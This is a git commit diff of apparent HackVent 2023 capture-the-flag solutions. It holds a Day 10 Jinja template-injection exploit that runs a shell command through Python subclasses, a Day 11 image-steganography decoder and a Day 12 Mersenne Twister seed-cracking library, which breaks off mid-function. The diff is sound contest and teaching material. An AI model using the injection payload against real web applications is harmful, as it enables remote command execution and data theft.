Day10-14
This commit is contained in:
		
							parent
							
								
									fbd69c1109
								
							
						
					
					
						commit
						6019eec2ba
					
				
							
								
								
									
										3
									
								
								.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										3
									
								
								.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@ -0,0 +1,3 @@
 | 
			
		||||
__pycache__
 | 
			
		||||
*.pyc
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								Day 10/diy-jinja-source.zip
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 10/diy-jinja-source.zip
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										67
									
								
								Day 10/exploit.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										67
									
								
								Day 10/exploit.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,67 @@
 | 
			
		||||
#!/usr/bin/env python
 | 
			
		||||
 | 
			
		||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
 | 
			
		||||
# https://git.romanh.de/Roman/HackingScripts
 | 
			
		||||
 | 
			
		||||
import os
 | 
			
		||||
import re
 | 
			
		||||
import sys
 | 
			
		||||
import json
 | 
			
		||||
import time
 | 
			
		||||
import base64
 | 
			
		||||
import requests
 | 
			
		||||
import subprocess
 | 
			
		||||
import urllib.parse
 | 
			
		||||
from bs4 import BeautifulSoup
 | 
			
		||||
from hackingscripts import util, rev_shell
 | 
			
		||||
from hackingscripts.fileserver import HttpFileServer
 | 
			
		||||
 | 
			
		||||
from urllib3.exceptions import InsecureRequestWarning
 | 
			
		||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 | 
			
		||||
 | 
			
		||||
BASE_URL = "https://f781f357-05d7-4098-933b-e9da8cfb2c06.idocker.vuln.land" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"
 | 
			
		||||
IP_ADDRESS = util.get_address()
 | 
			
		||||
 | 
			
		||||
def request(method, uri, **kwargs):
 | 
			
		||||
    if not uri.startswith("/") and uri != "":
 | 
			
		||||
        uri = "/" + uri
 | 
			
		||||
 | 
			
		||||
    client = requests
 | 
			
		||||
    if "session" in kwargs:
 | 
			
		||||
        client = kwargs["session"]
 | 
			
		||||
        del kwargs["session"]
 | 
			
		||||
    
 | 
			
		||||
    if "allow_redirects" not in kwargs:
 | 
			
		||||
        kwargs["allow_redirects"] = False
 | 
			
		||||
    
 | 
			
		||||
    if "verify" not in kwargs:
 | 
			
		||||
        kwargs["verify"] = False
 | 
			
		||||
    
 | 
			
		||||
    if "proxies" not in kwargs:
 | 
			
		||||
        kwargs["proxies"] = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
 | 
			
		||||
 | 
			
		||||
    return client.request(method, BASE_URL + uri, **kwargs)
 | 
			
		||||
 | 
			
		||||
def upload_template(file_name, file_data, fields_data=None):
 | 
			
		||||
 | 
			
		||||
    fields_data = util.nvl(fields_data, {})
 | 
			
		||||
 | 
			
		||||
    files = {
 | 
			
		||||
        "template": (file_name, file_data),
 | 
			
		||||
        "fields": (None, json.dumps(fields_data))
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    res = request("POST", "/upload", files=files)
 | 
			
		||||
    util.assert_status_code(res, 302)
 | 
			
		||||
    util.assert_header_present(res, "Location")
 | 
			
		||||
    return res.headers["Location"]
 | 
			
		||||
 | 
			
		||||
if __name__ == "__main__": 
 | 
			
		||||
    injection = "{{ \n[].__class__.__base__.__subclasses__()[452]('cat /app/flag.txt',shell=True,stdout=-1).communicate() }}"
 | 
			
		||||
    template_url = upload_template("blindhero.jinja", f"<pre>{injection}</pre>")
 | 
			
		||||
 | 
			
		||||
    res = request("POST", template_url)
 | 
			
		||||
    util.assert_status_code(res, 200)
 | 
			
		||||
    util.assert_content_type(res, "text/html")
 | 
			
		||||
    soup = BeautifulSoup(res.text, "html.parser")
 | 
			
		||||
    print("[+] Flag:", eval(soup.text)[0].decode().strip())
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								Day 11/challenge.png
									
									
									
									
									
										Normal file
									
								
							
							
								
									
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 11/challenge.png
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							| 
		 After Width: | Height: | Size: 63 KiB  | 
							
								
								
									
										21
									
								
								Day 11/decode.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										21
									
								
								Day 11/decode.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,21 @@
 | 
			
		||||
from PIL import Image
 | 
			
		||||
import re
 | 
			
		||||
import textwrap
 | 
			
		||||
 | 
			
		||||
if __name__ == "__main__":
 | 
			
		||||
    img = Image.open("challenge.png")
 | 
			
		||||
    pix = img.load()
 | 
			
		||||
    width, height = img.size
 | 
			
		||||
 | 
			
		||||
    out = ""
 | 
			
		||||
    for x in range(width):
 | 
			
		||||
        for y in range(height):
 | 
			
		||||
            out += chr(pix[x,y][0] ^ pix[x,y][2])
 | 
			
		||||
 | 
			
		||||
    flag = re.search(r"HV23\{[^\}]*\}", out)[0]
 | 
			
		||||
    print("[+] Flag:", flag)
 | 
			
		||||
    bin_str = out.replace(flag, "").replace("Never gonna give you up. ", "0").replace("Never gonna let you down. ", "1")
 | 
			
		||||
    bin_str = re.sub(r"[^01]", "", bin_str)
 | 
			
		||||
    flag2 = "".join(chr(int(octet, 2)) for octet in textwrap.wrap(bin_str, 8))
 | 
			
		||||
    flag2 = re.search(r"HV23\{[^\}]*\}", flag2)[0]
 | 
			
		||||
    print("[+] Hidden Flag:", flag2)
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								Day 12/backup/a.jpg
									
									
									
									
									
										Normal file
									
								
							
							
								
									
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 12/backup/a.jpg
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							| 
		 After Width: | Height: | Size: 82 KiB  | 
							
								
								
									
										26
									
								
								Day 12/decrypt.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										26
									
								
								Day 12/decrypt.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,26 @@
 | 
			
		||||
from hackingscripts import util
 | 
			
		||||
from mersenne import BreakerPy
 | 
			
		||||
from Crypto.Util.number import long_to_bytes
 | 
			
		||||
 | 
			
		||||
files = {}
 | 
			
		||||
def read_file(path):
 | 
			
		||||
    with open(path, "rb") as f:
 | 
			
		||||
        data = f.read()
 | 
			
		||||
        files[path] = data
 | 
			
		||||
 | 
			
		||||
if __name__ == "__main__":
 | 
			
		||||
    for file in ["memes/a.jpg", "memes/b.jpeg", "memes/c.jpg", "backup/a.jpg"]:
 | 
			
		||||
        read_file(file)
 | 
			
		||||
 | 
			
		||||
    key = util.xor(files["backup/a.jpg"], files["memes/a.jpg"])
 | 
			
		||||
    key = [int.from_bytes(key[i:i+4], "big") for i in range(0, len(key), 4)]
 | 
			
		||||
    key = key[0:624]
 | 
			
		||||
 | 
			
		||||
    breaker = BreakerPy()
 | 
			
		||||
    seed_arr = breaker.get_seeds_python_fast(key)
 | 
			
		||||
    seed = breaker.array_to_int(seed_arr)
 | 
			
		||||
 | 
			
		||||
    print("[+] Recovered Seed:", seed)
 | 
			
		||||
    print("[+] Flag:", long_to_bytes(seed).decode())
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								Day 12/memes/a.jpg
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 12/memes/a.jpg
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								Day 12/memes/b.jpeg
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 12/memes/b.jpeg
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								Day 12/memes/c.jpg
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 12/memes/c.jpg
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										556
									
								
								Day 12/mersenne.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										556
									
								
								Day 12/mersenne.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,556 @@
 | 
			
		||||
import random
 | 
			
		||||
from time import time
 | 
			
		||||
from collections import Counter
 | 
			
		||||
from statistics import mode
 | 
			
		||||
from functools import reduce
 | 
			
		||||
from z3 import *
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def seed_arr_len(arr):
 | 
			
		||||
    """
 | 
			
		||||
    Figuring out the length of seed in words which was input to
 | 
			
		||||
    init_by_array
 | 
			
		||||
    """
 | 
			
		||||
    mode_vals = []
 | 
			
		||||
    for j in range(2,10):
 | 
			
		||||
        x = [i for i in range(624) if abs(arr[i]-arr[j])<624]
 | 
			
		||||
        mode_vals.append(
 | 
			
		||||
            mode([j-i for i,j in zip(x,x[1:])])
 | 
			
		||||
        )
 | 
			
		||||
    return mode(mode_vals)
 | 
			
		||||
 | 
			
		||||
def all_smt(s, initial_terms):
 | 
			
		||||
    """
 | 
			
		||||
    yielding all satisfying models over `initial_terms` on a 
 | 
			
		||||
    z3.Solver() instance `s` containing constraints
 | 
			
		||||
    """
 | 
			
		||||
    def block_term(s, m, t):
 | 
			
		||||
        s.add(t != m.eval(t))
 | 
			
		||||
 | 
			
		||||
    def fix_term(s, m, t):
 | 
			
		||||
        s.add(t == m.eval(t))
 | 
			
		||||
 | 
			
		||||
    def all_smt_rec(terms):
 | 
			
		||||
        if sat == s.check():
 | 
			
		||||
            m = s.model()
 | 
			
		||||
            yield m
 | 
			
		||||
            for i in range(len(terms)):
 | 
			
		||||
                s.push()
 | 
			
		||||
                block_term(s, m, terms[i])
 | 
			
		||||
                for j in range(i):
 | 
			
		||||
                    fix_term(s, m, terms[j])
 | 
			
		||||
                for m in all_smt_rec(terms[i:]):
 | 
			
		||||
                    yield m
 | 
			
		||||
                s.pop()
 | 
			
		||||
    for m in all_smt_rec(list(initial_terms)):
 | 
			
		||||
        yield m
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class MT19937:
 | 
			
		||||
    """
 | 
			
		||||
    Standard MT19937 instance for both 32 bit and 64 bit variants
 | 
			
		||||
    """
 | 
			
		||||
    def __init__(self, c_seed=0, bit_64=False):
 | 
			
		||||
        """
 | 
			
		||||
        initialize the mersenne twister with `c_seed`
 | 
			
		||||
        `bit_64` if True, would initialize the 64 variant of MT19937
 | 
			
		||||
        `c_seed` is 64-bit if `bit_64` set to True
 | 
			
		||||
        """
 | 
			
		||||
        # MT19937
 | 
			
		||||
        if bit_64:
 | 
			
		||||
            (self.w, self.n, self.m, self.r) = (64, 312, 156, 31)
 | 
			
		||||
            self.a = 0xB5026F5AA96619E9
 | 
			
		||||
            (self.u, self.d) = (29, 0x5555555555555555)
 | 
			
		||||
            (self.s, self.b) = (17, 0x71D67FFFEDA60000)
 | 
			
		||||
            (self.t, self.c) = (37, 0xFFF7EEE000000000)
 | 
			
		||||
            self.l = 43
 | 
			
		||||
            self.f = 6364136223846793005
 | 
			
		||||
        else:
 | 
			
		||||
            (self.w, self.n, self.m, self.r) = (32, 624, 397, 31)
 | 
			
		||||
            self.a = 0x9908B0DF
 | 
			
		||||
            (self.u, self.d) = (11, 0xFFFFFFFF)
 | 
			
		||||
            (self.s, self.b) = (7, 0x9D2C5680)
 | 
			
		||||
            (self.t, self.c) = (15, 0xEFC60000)
 | 
			
		||||
            self.l = 18
 | 
			
		||||
            self.f = 1812433253
 | 
			
		||||
        self.MT = [0 for i in range(self.n)]
 | 
			
		||||
        self.index = self.n + 1
 | 
			
		||||
        self.lower_mask = (1 << self.r) - 1  # 0x7FFFFFFF
 | 
			
		||||
        self.upper_mask = (1 << self.r)  # 0x80000000
 | 
			
		||||
        self.seed_mt(c_seed)
 | 
			
		||||
 | 
			
		||||
    def seed_mt(self, num):
 | 
			
		||||
        """initialize the generator from a seed"""
 | 
			
		||||
        self.MT[0] = num
 | 
			
		||||
        self.index = self.n
 | 
			
		||||
        for i in range(1, self.n):
 | 
			
		||||
            temp = self.f * (self.MT[i - 1] ^
 | 
			
		||||
                             (self.MT[i - 1] >> (self.w - 2))) + i
 | 
			
		||||
            self.MT[i] = temp & ((1 << self.w) - 1)
 | 
			
		||||
 | 
			
		||||
    def twist(self):
 | 
			
		||||
        """ Generate the next n values from the series x_i"""
 | 
			
		||||
        for i in range(0, self.n):
 | 
			
		||||
            x = (self.MT[i] & self.upper_mask) + \
 | 
			
		||||
                (self.MT[(i + 1) % self.n] & self.lower_mask)
 | 
			
		||||
            xA = x >> 1
 | 
			
		||||
            if (x % 2) != 0:
 | 
			
		||||
                xA = xA ^ self.a
 | 
			
		||||
            self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA
 | 
			
		||||
        self.index = 0
 | 
			
		||||
 | 
			
		||||
    def extract_number(self):
 | 
			
		||||
        """
 | 
			
		||||
        extract tampered state at internal index i
 | 
			
		||||
        if index reaches end of state array, twist and set it to 0
 | 
			
		||||
        """
 | 
			
		||||
        if self.index >= self.n:
 | 
			
		||||
            self.twist()
 | 
			
		||||
        y = self.MT[self.index]
 | 
			
		||||
        y = y ^ ((y >> self.u) & self.d)
 | 
			
		||||
        y = y ^ ((y << self.s) & self.b)
 | 
			
		||||
        y = y ^ ((y << self.t) & self.c)
 | 
			
		||||
        y = y ^ (y >> self.l)
 | 
			
		||||
        self.index += 1
 | 
			
		||||
        return y & ((1 << self.w) - 1)
 | 
			
		||||
 | 
			
		||||
    def get_state(self):
 | 
			
		||||
        """
 | 
			
		||||
        returning python compatible state
 | 
			
		||||
        """
 | 
			
		||||
        return (3, tuple(self.MT + [self.index]), None)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class MTpython(MT19937):
 | 
			
		||||
    """
 | 
			
		||||
    Additional functionality offered by MT of python3, namely 
 | 
			
		||||
    better (non linear) initialization 
 | 
			
		||||
    """
 | 
			
		||||
    def __init__(self, seed=0):
 | 
			
		||||
        MT19937.__init__(self, 0)
 | 
			
		||||
        self.seed(seed) #python seed initialization
 | 
			
		||||
 | 
			
		||||
    def init_by_array(self, init_key):
 | 
			
		||||
        """
 | 
			
		||||
        Initialization with an `init_key` array of 32-bit words for
 | 
			
		||||
        better randomization properties
 | 
			
		||||
        """
 | 
			
		||||
        self.seed_mt(19650218)
 | 
			
		||||
        i, j = 1, 0
 | 
			
		||||
        for k in range(max(self.n, len(init_key))):
 | 
			
		||||
            self.MT[i] = (self.MT[i] ^ (
 | 
			
		||||
                (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1664525)) + init_key[j] + j
 | 
			
		||||
            self.MT[i] &= 0xffffffff
 | 
			
		||||
            i += 1
 | 
			
		||||
            j += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                self.MT[0] = self.MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
            if j >= len(init_key):
 | 
			
		||||
                j = 0
 | 
			
		||||
        for k in range(self.n - 1):
 | 
			
		||||
            self.MT[i] = (self.MT[i] ^ (
 | 
			
		||||
                (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1566083941)) - i
 | 
			
		||||
            self.MT[i] &= 0xffffffff
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                self.MT[0] = self.MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        self.MT[0] = 0x80000000
 | 
			
		||||
 | 
			
		||||
    def init_32bit_seed(self, seed_32):
 | 
			
		||||
        """
 | 
			
		||||
        Just an oversimplification of `init_by_array` for single element array
 | 
			
		||||
        of upto 32 bit number
 | 
			
		||||
        """
 | 
			
		||||
        self.seed_mt(19650218)
 | 
			
		||||
        i = 1
 | 
			
		||||
        for k in range(self.n):
 | 
			
		||||
            self.MT[i] = (self.MT[i] ^ (
 | 
			
		||||
                (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1664525)) + seed_32
 | 
			
		||||
            self.MT[i] &= 0xffffffff
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                self.MT[0] = self.MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        for k in range(self.n - 1):
 | 
			
		||||
            self.MT[i] = (self.MT[i] ^ (
 | 
			
		||||
                (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1566083941)) - i
 | 
			
		||||
            self.MT[i] &= 0xffffffff
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                self.MT[0] = self.MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        self.MT[0] = 0x80000000
 | 
			
		||||
 | 
			
		||||
    def seed(self,seed_int):
 | 
			
		||||
        """
 | 
			
		||||
        Replication of random.seed of cpython when seed is an integer
 | 
			
		||||
        """
 | 
			
		||||
        self.init_by_array(self.int_to_array(seed_int))
 | 
			
		||||
 | 
			
		||||
    def random(self):
 | 
			
		||||
        """
 | 
			
		||||
        python random.random() call which yeilds a uniformly random
 | 
			
		||||
        floating point between [0,1] employing two MT 32 bits calls
 | 
			
		||||
        """
 | 
			
		||||
        a = self.extract_number()>>5
 | 
			
		||||
        b = self.extract_number()>>6
 | 
			
		||||
        return (a*67108864.0+b)*(1.0/9007199254740992.0)
 | 
			
		||||
 | 
			
		||||
    def int_to_array(self,k):
 | 
			
		||||
        """
 | 
			
		||||
        converting a big integer to equivalent list of 32-bit integers
 | 
			
		||||
        as would be passed into python seed process
 | 
			
		||||
        """
 | 
			
		||||
        if k==0:
 | 
			
		||||
            return [0]
 | 
			
		||||
        k_byte = int.to_bytes(k,(k.bit_length()+7)//8,'little')
 | 
			
		||||
        k_arr = [k_byte[i:i+4] for i in range(0,len(k_byte),4)]
 | 
			
		||||
        return [int.from_bytes(i,'little') for i in k_arr ]
 | 
			
		||||
 | 
			
		||||
    def array_to_int(self,arr):
 | 
			
		||||
        """
 | 
			
		||||
        converting list of 32-bit integers back to a big integer
 | 
			
		||||
        """
 | 
			
		||||
        arr_bytes  = b"".join([int.to_bytes(i,4,'little') for i in arr])
 | 
			
		||||
        return int.from_bytes( arr_bytes ,'little')
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class Breaker():
 | 
			
		||||
    """
 | 
			
		||||
    Class for breaking and seed recovery of standard mersenne twister
 | 
			
		||||
    """
 | 
			
		||||
    def __init__(self, bit_64=False):
 | 
			
		||||
        if bit_64:
 | 
			
		||||
            (self.w, self.n, self.m, self.r) = (64, 312, 156, 31)
 | 
			
		||||
            self.a = 0xB5026F5AA96619E9
 | 
			
		||||
            (self.u, self.d) = (29, 0x5555555555555555)
 | 
			
		||||
            (self.s, self.b) = (17, 0x71D67FFFEDA60000)
 | 
			
		||||
            (self.t, self.c) = (37, 0xFFF7EEE000000000)
 | 
			
		||||
            self.l = 43
 | 
			
		||||
            self.f = 6364136223846793005
 | 
			
		||||
            self.num_bits = 64
 | 
			
		||||
        else:
 | 
			
		||||
            (self.w, self.n, self.m, self.r) = (32, 624, 397, 31)
 | 
			
		||||
            self.a = 0x9908B0DF
 | 
			
		||||
            (self.u, self.d) = (11, 0xFFFFFFFF)
 | 
			
		||||
            (self.s, self.b) = (7, 0x9D2C5680)
 | 
			
		||||
            (self.t, self.c) = (15, 0xEFC60000)
 | 
			
		||||
            self.l = 18
 | 
			
		||||
            self.f = 1812433253
 | 
			
		||||
            self.num_bits = 32
 | 
			
		||||
        self.MT = [0 for i in range(self.n)]
 | 
			
		||||
        self.index = self.n + 1
 | 
			
		||||
        self.lower_mask = (1 << self.r) - 1
 | 
			
		||||
        self.upper_mask = (1 << self.r)
 | 
			
		||||
 | 
			
		||||
    def ut(self, num):
 | 
			
		||||
        """
 | 
			
		||||
        untamper a `num` to give back the internal state register
 | 
			
		||||
        """
 | 
			
		||||
        def get_bit(number, position):
 | 
			
		||||
            if position < 0 or position > self.num_bits - 1:
 | 
			
		||||
                return 0
 | 
			
		||||
            return (number >> (self.num_bits - 1 - position)) & 1
 | 
			
		||||
 | 
			
		||||
        def set_bit_to_one(number, position):
 | 
			
		||||
            return number | (1 << (self.num_bits - 1 - position))
 | 
			
		||||
 | 
			
		||||
        def undo_right_shift_xor_and(result, shift_len, andd=-1):
 | 
			
		||||
            original = 0
 | 
			
		||||
            for i in range(self.num_bits):
 | 
			
		||||
                if get_bit(result, i) ^ \
 | 
			
		||||
                   (get_bit(original, i - shift_len) &
 | 
			
		||||
                        get_bit(andd, i)):
 | 
			
		||||
                    original = set_bit_to_one(original, i)
 | 
			
		||||
            return original
 | 
			
		||||
 | 
			
		||||
        def undo_left_shift_xor_and(result, shift_len, andd):
 | 
			
		||||
            original = 0
 | 
			
		||||
            for i in range(self.num_bits):
 | 
			
		||||
                if get_bit(result, self.num_bits - 1 - i) ^ \
 | 
			
		||||
                   (get_bit(original, self.num_bits - 1 - (i - shift_len)) &
 | 
			
		||||
                        get_bit(andd, self.num_bits - 1 - i)):
 | 
			
		||||
                    original = set_bit_to_one(original, self.num_bits - 1 - i)
 | 
			
		||||
            return original
 | 
			
		||||
        num = undo_right_shift_xor_and(num, self.l)
 | 
			
		||||
        num = undo_left_shift_xor_and(num, self.t, self.c)
 | 
			
		||||
        num = undo_left_shift_xor_and(num, self.s, self.b)
 | 
			
		||||
        num = undo_right_shift_xor_and(num, self.u, self.d)
 | 
			
		||||
        return num
 | 
			
		||||
 | 
			
		||||
    def tamper_state(self, y):
 | 
			
		||||
        """
 | 
			
		||||
        Tamper the state of z3.BitVec(32) y and return the tampered
 | 
			
		||||
        thing
 | 
			
		||||
        """
 | 
			
		||||
        y = y ^ (LShR(y, self.u) & self.d)
 | 
			
		||||
        y = y ^ ((y << self.s) & self.b)
 | 
			
		||||
        y = y ^ ((y << self.t) & self.c)
 | 
			
		||||
        y = y ^ (LShR(y, self.l))
 | 
			
		||||
        return y
 | 
			
		||||
 | 
			
		||||
    def untamper_sat(self, num):
 | 
			
		||||
        """
 | 
			
		||||
        Same as self.ut but using z3 to find out the state (way slower
 | 
			
		||||
        than self.ut)
 | 
			
		||||
        """
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        y = BitVec('y', self.num_bits)
 | 
			
		||||
        y = self.tamper_state(y)
 | 
			
		||||
        S.add(num == y)
 | 
			
		||||
        if S.check() == sat:
 | 
			
		||||
            m = S.model()
 | 
			
		||||
            return m[m.decls()[0]].as_long()
 | 
			
		||||
 | 
			
		||||
    def clone_state(self, outputs):
 | 
			
		||||
        """
 | 
			
		||||
        Clone the internal state given 624, 32-bit outputs
 | 
			
		||||
        """
 | 
			
		||||
        assert len(outputs) == 624, "To clone full state, 624 outputs needed"
 | 
			
		||||
        return list(map(self.ut, outputs))
 | 
			
		||||
 | 
			
		||||
    def get_seed_mt(self, outputs):
 | 
			
		||||
        """
 | 
			
		||||
        recovering the initializing knowing some `outputs`
 | 
			
		||||
        outputs: list of (output_num, output) pairs 
 | 
			
		||||
        (can recover seed with just three consecutive outputs)
 | 
			
		||||
        """
 | 
			
		||||
        STATE = [BitVec(f'MT[{i}]', self.num_bits) for i in range(self.n + 1)]
 | 
			
		||||
        SEED = BitVec('seed', self.num_bits)
 | 
			
		||||
        STATE[0] = SEED
 | 
			
		||||
        for i in range(1, self.n):
 | 
			
		||||
            temp = self.f * \
 | 
			
		||||
                (STATE[i - 1] ^ (LShR(STATE[i - 1], (self.w - 2)))) + i
 | 
			
		||||
            STATE[i] = temp & ((1 << self.w) - 1)
 | 
			
		||||
        self.twist_state(STATE)
 | 
			
		||||
        t_start = time()
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        for index, value in outputs:
 | 
			
		||||
            S.add(STATE[index] == self.ut(value))
 | 
			
		||||
        if S.check() == sat:
 | 
			
		||||
            m = S.model()
 | 
			
		||||
            print("time taken :", time() - t_start)
 | 
			
		||||
            return m[m.decls()[0]].as_long()
 | 
			
		||||
        else:
 | 
			
		||||
            print(time() - t_start)
 | 
			
		||||
 | 
			
		||||
    def twist_state(self, MT):
 | 
			
		||||
        """
 | 
			
		||||
        Twist an array MT[z3.BitVec(32)] (or 64-bit) to give out the
 | 
			
		||||
        next set of internal state registers
 | 
			
		||||
        """
 | 
			
		||||
        for i in range(self.n):
 | 
			
		||||
            x = (MT[i] & self.upper_mask) + \
 | 
			
		||||
                (MT[(i + 1) % self.n] & self.lower_mask)
 | 
			
		||||
            xA = LShR(x, 1)
 | 
			
		||||
            xA = If(x & 1 == 1, xA ^ self.a, xA)
 | 
			
		||||
            MT[i] = simplify(MT[(i + self.m) % self.n] ^ xA)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    def untwist(self, outputs):
 | 
			
		||||
        """
 | 
			
		||||
        Recover the state post twisting
 | 
			
		||||
        (can get only the MSB of first element of the internal state)
 | 
			
		||||
        """
 | 
			
		||||
        MT = [BitVec(f'MT[{i}]', 32) for i in range(self.n)]
 | 
			
		||||
        self.twist_state(MT)
 | 
			
		||||
        s = Solver()
 | 
			
		||||
        for i in range(len(outputs)):
 | 
			
		||||
            s.add(outputs[i] == MT[i])
 | 
			
		||||
        if s.check() == sat:
 | 
			
		||||
            model = s.model()
 | 
			
		||||
            untwisted = {str(i): model[i].as_long() for i in model.decls()}
 | 
			
		||||
            untwisted = [untwisted[f'MT[{i}]'] for i in range(624)]
 | 
			
		||||
            return untwisted
 | 
			
		||||
        
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class BreakerPy(Breaker):
 | 
			
		||||
    """
 | 
			
		||||
    Breaker for python functionalities
 | 
			
		||||
    """
 | 
			
		||||
    def __init__(self):
 | 
			
		||||
        Breaker.__init__(self)
 | 
			
		||||
 | 
			
		||||
    def get_ith(self, outputs, both=False):
 | 
			
		||||
        """
 | 
			
		||||
        Get i'th output given i-624, i-623 and i-227 th inputs
 | 
			
		||||
        if `both=True` then can be only i-623 and i-227 only as 
 | 
			
		||||
        we only need MSB of i-624 which can be two possibilities
 | 
			
		||||
        """
 | 
			
		||||
        if both:
 | 
			
		||||
            return self.get_ith([2**31]+outputs),self.get_ith([0]+outputs)
 | 
			
		||||
        i_min_624, i_min_623, i_min_227 = map(self.ut, outputs)
 | 
			
		||||
        x = (i_min_624 & self.upper_mask) + \
 | 
			
		||||
            (i_min_623 & self.lower_mask)
 | 
			
		||||
        xA = x >> 1
 | 
			
		||||
        if (x % 2) != 0:
 | 
			
		||||
            xA = xA ^ self.a
 | 
			
		||||
        y = i_min_227 ^ xA
 | 
			
		||||
        y = y ^ ((y >> self.u) & self.d)
 | 
			
		||||
        y = y ^ ((y << self.s) & self.b)
 | 
			
		||||
        y = y ^ ((y << self.t) & self.c)
 | 
			
		||||
        y = y ^ (y >> self.l)
 | 
			
		||||
        return y & ((1 << self.w) - 1)
 | 
			
		||||
 | 
			
		||||
    def get_32_bit_seed_python(self, outputs):
 | 
			
		||||
        """
 | 
			
		||||
        get the seed value if initialzed by a 32 bit seed using
 | 
			
		||||
        624 outputs
 | 
			
		||||
        """
 | 
			
		||||
        MT_init = MT19937(19650218).MT
 | 
			
		||||
        MT = [BitVec(f'MT[{i}]', 32) for i in range(self.n)]
 | 
			
		||||
        for i in range(self.n):
 | 
			
		||||
            MT[i] = BitVecVal(MT_init[i], 32)
 | 
			
		||||
        SEED = BitVec('seed', 32)
 | 
			
		||||
        i = 1
 | 
			
		||||
        for k in range(self.n):
 | 
			
		||||
            MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEED
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                MT[0] = MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        for k in range(self.n - 1):
 | 
			
		||||
            MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                MT[0] = MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        MT[0] = BitVecVal(0x80000000, 32)
 | 
			
		||||
        untwisted = self.untwist(list(map(self.ut,outputs)))
 | 
			
		||||
        print(untwisted)
 | 
			
		||||
        t_start = time()
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        S.add([i == j for i, j in zip(MT, untwisted)])
 | 
			
		||||
        if S.check() == sat:
 | 
			
		||||
            m = S.model()
 | 
			
		||||
            print("time taken :", time() - t_start)
 | 
			
		||||
            return m[m.decls()[0]].as_long()
 | 
			
		||||
 | 
			
		||||
    def get_seeds_python(self, outputs, num_seeds=5):
 | 
			
		||||
        """
 | 
			
		||||
        recovering seeds of python knowing the number of bits 
 | 
			
		||||
        in the seed, takes increasing time per increased number of words
 | 
			
		||||
        """
 | 
			
		||||
        MT_init = MT19937(19650218).MT
 | 
			
		||||
        MT = [BitVec(f'MT[{i}]', 32) for i in range(self.n)]
 | 
			
		||||
        for i in range(self.n):
